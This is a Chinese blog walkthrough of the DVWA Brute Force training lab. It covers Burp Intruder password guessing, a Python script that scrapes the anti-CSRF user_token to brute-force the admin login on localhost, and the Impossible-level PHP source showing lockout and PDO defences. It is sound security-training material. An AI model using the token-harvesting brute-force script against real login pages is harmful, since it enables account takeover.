DVWA-Brute Force

已于 2022-04-21 19:39:52 修改
阅读量3k 收藏 8
点赞数 2
分类专栏： DVWA 文章标签： web安全
于 2022-04-21 13:29:59 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_45751902/article/details/124285379
版权

配置环境

将下载的DVWA放在www目录下，然后复制一份/config/config.inc.php.dist到当前目录，并且去掉.dist。
在phpMyadmin如果没有表dvwa，则新建一个表dvwa

db_user,db_password是数据库的账号和密码
在这里插入图片描述
之后找到DVWA的路径，找到下面的create/reset database点击（再次进入phpMyadmin查看表dvwa，表中已经有数据，密码用md5加密），等2秒自动跳转登录页面
在这里插入图片描述
输入账号admin,密码password
在这里插入图片描述
在这里插入图片描述
如果有乱码的情况

到DVWA安装目录下（…/WWW/DVWA-master/dvwa/includes）寻找文件dvwaPage.inc.php

打开这个文件，然后在全文查找charset=utf-8，将所有utf-8修改为gb2312。

注意：有好几处charset=utf-8，要全部修改成charset=gb2312。记得保存。

Brute Force

安全级别：Low

在这里插入图片描述
随便输入，然后抓包
在这里插入图片描述
send to intruder
在这里插入图片描述
在这里插入图片描述
选择破解参数并选择破解方式
在这里插入图片描述

四种暴力破解方式的区别：

一个字典，两个参数，先匹配第一项，再匹配第二项【sniper】

一个字典，两个参数，同用户名同密码【battering ram】

两个字典，两个参数，同行匹配，短的截止【pitch fork】

两个字典，两个参数，交叉匹配，所有可能【cluster bomb】

在这里插入图片描述
在这里插入图片描述
长度不一样的有可能是正确的
在这里插入图片描述
成功了
在这里插入图片描述
使用sql注入的方式也可以
在这里插入图片描述

安全级别：Medium

先看源码，过滤掉了mysql语句中的字符
在这里插入图片描述

mysql_real_excape_string()函数转义sql语句中使用的字符串中的特殊字符，防止sql注入；

同时对密码进行了md5加密，杜绝通过参数password进行sql注入的可能性

但是没有加入有效的防爆破机制

使用sql注入，但是失败了
在这里插入图片描述
使用上关的爆破步骤

安全级别：High

参考源码
在这里插入图片描述

mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符；

stripslashes() 函数删除由 addslashes() 函数添加的反斜杠，可用于清理从数据库中或者从 HTML表单中取回的数据；

破解过程

通过抓包，我们发现了需要提交四个参数：username,password,login,user_token

每次服务器返回的登陆页面中都会包含一个随机的user_token的值，用户每次登录时都要将user_token一起提交。服务器收到请求后，会优先做token的检查

可以尝试使用python脚本，使用爬虫将服务器每次返回的user_token抓取到

1.使用burp suit破解

在这里插入图片描述
设置两个参数password和user_token，攻击类型为pitchfork
在这里插入图片描述
设置参数，在option选项卡中将攻击线程thread设置为1，因为Recursive_Grep模式不支持多线程攻击，然后选择Grep-Extract,意思是用于提取响应消息中的有用信息，点击add，最后将Redirections设置为always
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
然后设置payload，第一个参数设置不在赘述，第二个参数选择Recursive grep，然后将options中的token作为第一次请求的初始值

在这里插入图片描述
start attack，结果如下
在这里插入图片描述

2.利用python脚本对password参数进行爆破

from bs4 import BeautifulSoup
from urllib.request import Request,urlopen

header = {
    'Host': '127.0.0.1',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
    'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'Accept-Encoding': 'gzip, deflate',
    'Connection': 'close',
    'Referer': 'http://127.0.0.1/DVWA-master/DVWA-master/vulnerabilities/brute/',
    'Cookie': 'security=high; PHPSESSID=b9d2b7ee1eaeb87cf2f84b6cd173ff2a',
    'Upgrade-Insecure-Requests': '1',
    'Sec-Fetch-Dest': 'document',
    'Sec-Fetch-Mode': 'navigate',
    'Sec-Fetch-Site': 'same-origin',
    'Sec-Fetch-User': '?1'
}
requrl = "http://127.0.0.1/DVWA-master/DVWA-master/vulnerabilities/brute/"


def get_token(requrl, header):
    req = Request(url=requrl, headers=header)
    response = urlopen(req)
    print(response.getcode())
    the_page = response.read().decode()
    # print(the_page)
    print(len(the_page))
    soup = BeautifulSoup(the_page, "html.parser")
    # print '###################'
    # print soup.find_all('input')[3].get('value')
    user_token = soup.find_all('input')[3].get('value')
    # user_token = soup.form.input.input.input.input["value"]
    return user_token


user_token = get_token(requrl, header)
i = 0
for line in open('./password.txt'):
    requrl = "http://127.0.0.1/DVWA-master/DVWA-master/vulnerabilities/brute/" + "?username=admin&password=" + line.strip() + "&Login=Login&user_token=" + user_token
    i = i + 1
    print(i, 'admin', line.strip())
    user_token = get_token(requrl, header)
    print(user_token)
    if i == 10:
        break

在这里插入图片描述

安全级别：Impossible

<?php

if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {
    // Check Anti-CSRF token -------校验token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Sanitise username input----------过滤、转义用户输入的username
    $user = $_POST[ 'username' ];
    $user = stripslashes( $user );
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input----------过滤、转义用户输入的password
    $pass = $_POST[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Default values
    $total_failed_login = 3;
    $lockout_time       = 15;
    $account_locked     = false;

    // Check the database (Check user information)
    // 用了更为安全的PDO（PHP Data Object）机制防御sql注入，这是因为不能使用PDO扩展本身执行任何数据库操作，而sql注入的关键就是通过破坏sql语句结构执行恶意的sql命令  
    $data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch();

    // Check to see if the user has been locked out.----登录失败锁定机制：3次失败，锁定15分钟
    if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) )  {
        // User locked out.  Note, using this method would allow for user enumeration!
        //echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>";

        // Calculate when the user would be allowed to login again
        $last_login = strtotime( $row[ 'last_login' ] );
        $timeout    = $last_login + ($lockout_time * 60);
        $timenow    = time();

        /*
        print "The last login was: " . date ("h:i:s", $last_login) . "<br />";
        print "The timenow is: " . date ("h:i:s", $timenow) . "<br />";
        print "The timeout is: " . date ("h:i:s", $timeout) . "<br />";
        */

        // Check to see if enough time has passed, if it hasn't locked the account
        if( $timenow < $timeout ) {
            $account_locked = true;
            // print "The account is locked<br />";
        }
    }

    // Check the database (if username matches the password)----尝试登录，PDO机制防御SQL注入
    $data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR);
    $data->bindParam( ':password', $pass, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch();

    // If its a valid login...
    if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
        // Get users details
        $avatar       = $row[ 'avatar' ];
        $failed_login = $row[ 'failed_login' ];
        $last_login   = $row[ 'last_login' ];

        // Login successful
        echo "<p>Welcome to the password protected area <em>{$user}</em></p>";
        echo "<img src=\"{$avatar}\" />";

        // Had the account been locked out since last login?
        if( $failed_login >= $total_failed_login ) {
            echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
            echo "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";
        }

        // Reset bad login count
        $data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR );
        $data->execute();
    } else {
        // Login failed----如果登录失败，随机等待2-4秒后再返回错误信息
        sleep( rand( 2, 4 ) );

        // Give the user some feedback
        echo "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";

        // Update bad login count
        $data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR );
        $data->execute();
    }

    // Set the last login time
    $data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?>
空白行
关注
  • 2
    点赞
  • 踩
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
dvwa学习-brute force（暴力破解）
qq_17762247的博客
05-09 1797
一、简介： Brute-Force(暴力破解)，又称为穷举攻击，是一种密码分析的方法，即将密码进行逐个推算直到找出真正的密码为止。例如：一个已知是四位数并且全部由阿拉伯数字组成的密码，其可能共有10000种组合，因此最多尝试9999次就能找到正确的密码。理论上除了具有完善保密性的密码以外，利用这种方法可以破解任何一种密码，问题只在于如何缩短试误时间。有些人运用计算机来增加效率，有些人透过字典攻击来...
DVWA-Brute Force爆破
原味瓜子、的博客
09-16 179
目录一、Low等级二、Medium等级三、High等级 一、Low等级 1、漏洞分析 if( isset( $_GET[ 'Login' ] ) ) { // Get username $user = $_GET[ 'username' ]; // Get password $pass = $_GET[ 'password' ]; $pass = md5( $pass ); // Check the database $query = "SELE
DVWA之Brute Force
weixin_42075643的博客
02-20 1185
Brute Force：即暴力破解。指hacker利用密码字典、穷举法暴力猜解以此获得用户名和密码的手段，也是常见的比较简单的攻击方式 不过在现实场景中，穷举法的范围太广了，不是很实用，更多的是利用社工的方式构造密码字典来猜解。。。 接下来通过DVWA详细学习下吧 ???? low level 分析源码： 源码发现在输入字段的地方没有任何过滤，这里可以使用SQL注入… 先来爆破吧，爆破结束后试试SQL注入： 暴力破解，直接利用工具BP来操作： 设置好代理，随便输入username和password抓包：
DVWA —— Brute Force 暴力破解
YouTheFreedom的博客
05-20 2417
由于没有对登录页面进行相关的防暴力破解机制，如无验证码、有验证码但验证码未在服务器端校验以及无登录错误次数限制等，导致攻击者可通过暴力破解获取用户登录账户及口令，从而获取网站登录访问权限
DVWA靶场-Brute Force暴力破解~保姆级教程！！！
2301_77360738的博客
05-09 2557
DVWA靶场初体验，超简单的暴力破解！！！
DVWA通关教程（上）
热门推荐
qq_50854662的博客
05-22 1万+
简介： DVWA是一款基于PHP和mysql开发的web靶场练习平台，集成了常见的web漏洞如sql注入,xss，密码破解等常见漏洞。本教程将以DVWA为例，演示常见的web漏洞的利用和攻击。 登录创建数据库（账号为admin，密码为password） 登录后界面 在dvwa security选项中，可以调整dvwa的难易程度， Brute Force（暴力破解） Brute Force即为暴力破解，通过枚举获取管理员的账号和密码,在实际的操作中，一般用来破解后台管理系统的登录。
DVWA--Brute Force（暴力破解）
weixin_50342860的博客
08-19 176
目录风险mediumhigh修复 风险 在不知道用户的账号和密码的情况下，通过自动化工具或者强大的字典去进行连续性尝试，去碰撞出一些有效的账号密码，一般用来破解后台管理系统的登录。 medium 将DVWA的级别调为Medium后，进入Brute Force 输入一个账号与密码，使用burp进行抓包 右击发送到 intruder模块，将账号与密码设为变量，爆破模式选为Cluster bomb 在 Payloads 中，Payload set 选择使用 Simple list ，将用户字典和密码字典分别添加
DVWA-Brute Force @ Burpsuite.docx
06-27
DVWA-Brute Force @ Burpsuite.docx
DVWA-master.zip
01-04
DVWA-master.zip文件包含了整个DVWA项目的源代码和相关资源，是学习和研究网络安全的理想工具。 1. **DVWA的结构与功能** DVWA由多个安全级别组成，包括“低”、“中”、“高”和“不可能”，每个级别都包含不同...
DVWA-master.7z 压缩包
09-14
这个"DVWA-master.7z"压缩包包含了完整的DVWA源代码和其他相关文件，用于在本地环境中搭建一个模拟的脆弱Web应用。 为了正确地使用这个压缩包，首先你需要下载它并使用解压缩工具（如7-Zip）将其解压。解压缩后，你...
DVWA 的搭建
LainWith的博客
07-24 495
什么是DVWA，它又能做什么？请参考其github 下载 1：你可以直接在这个github地址上面下载DVWA，下载地址 【此处介绍这个】 2：你可以下载Metasploitable来使用DVWA，下载地址 【解压即可使用】 安装 1：在win2008上面安装phpstudy，打开www目录解压DVWA 2：启用phpstudy，在浏览器中输入win2008的IP地址，访问DVWA发现错误，提示我们修改配置文件把config.inc.php.dist 改名为 config.inc.p
DVWA靶场实战-Brute Force暴力破解
mmxhappy的专栏
01-23 1154
接下来在“Intruder”中找到“Options”，在“Options”中找到“Drep-Extract”，点击“Add”弹出“Define extract grep item”窗口，点击“Refetch response”，在弹出的代码中找到“user_token”将后面的“value”中单引号的内容选中，点击OK添加成功。得到如下界面就是开始爆破了，爆破完后点击length，因为此时其他状态都是相同的，所以我们选择用“Length”来进行筛选，筛选出不同的那几条，就是爆破的结果。
dvwa 源码分析(二) --- dvwaPage.inc.php分析
weixin_34015336的博客
07-27 559
在setup.php中，包含了这个文件，所以这里分析这个文件。 1 &lt;?php 2 3 if( !defined( 'DVWA_WEB_PAGE_TO_ROOT' ) ) { 4 5 define( 'DVWA System error- WEB_PAGE_TO_ROOT undefined' ); 6 exit; 7 8 } 9...
DVWA靶场-Brute Force暴力破解
mlws1900的博客
03-12 1633
具体来说，它使用了mysqli_real_escape_string()函数对用户输入的用户名进行转义，确保特殊字符在SQL语句中不会被误解为SQL语句的一部分，从而保护数据库安全。进入暴力破解的界面，有点基础的都知道，在bp中通过字典，导入用户名和密码进行爆破，这样的操作大家见多了，再写没啥意思，想看的可以去pikachu靶场的暴力破解去了解具体操作，本文主要结合代码进行分析。3.high-高等安全等级，有安全措施保护，是中等安全等级的加深，这个等级下的安全漏洞可能不允许相同程度的攻击。
Windows10环境搭建DVWA及遇到的坑解决办法
DSP_FFT的博客
05-31 4517
Windows10环境搭建sqli-labs 搭建环境 用的是WIN10+phpstudy DVWA下载地址：https://github.com/digininja/DVWA phpstudy下载地址:https://www.xp.cn/ 部署网站 将下载好的DVWA解压到phpstudy的WWW目录下 启动phpstudy 选择PHP环境，这里最好选择php5.6.9。 创建数据库，设置账号密码root/root 安装phpmyadmin,方便导入数据库 修改config配置文件（PS:将后
DVWA-暴力破解（Brute Force）
weixin_58954236的博客
08-19 1159
首先访问有user token的页面，bp拦截到当前页面链接使用宏配置，正则表达过滤user token，输入账号密码拦截，将拦截的内容先放到重发器里面测试一下，user token是否会变，如果变了，表面之前的宏设置成功首先访问有user token的页面，bp拦截到当前页面链接使用宏配置，正则表达过滤user token，输入账号密码拦截，将拦截的内容先放到重发器里面测试一下，user token是否会变，如果变了，表面之前的宏设置成功。
DVWA------Brute Force（暴力破解）
m0_65712192的博客
11-09 1069
DVWA靶场之Brute Force（暴力破解）
dvwa通关brute force
最新发布
06-08
在DVWA中，Brute Force挑战是关于用户登录部分的一个环节，主要是测试用户的密码暴力破解能力。 当你遇到Brute Force关卡时，目标是尝试使用各种可能的用户名和密码组合，直到找到正确的登录凭证。这通常涉及到编写...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值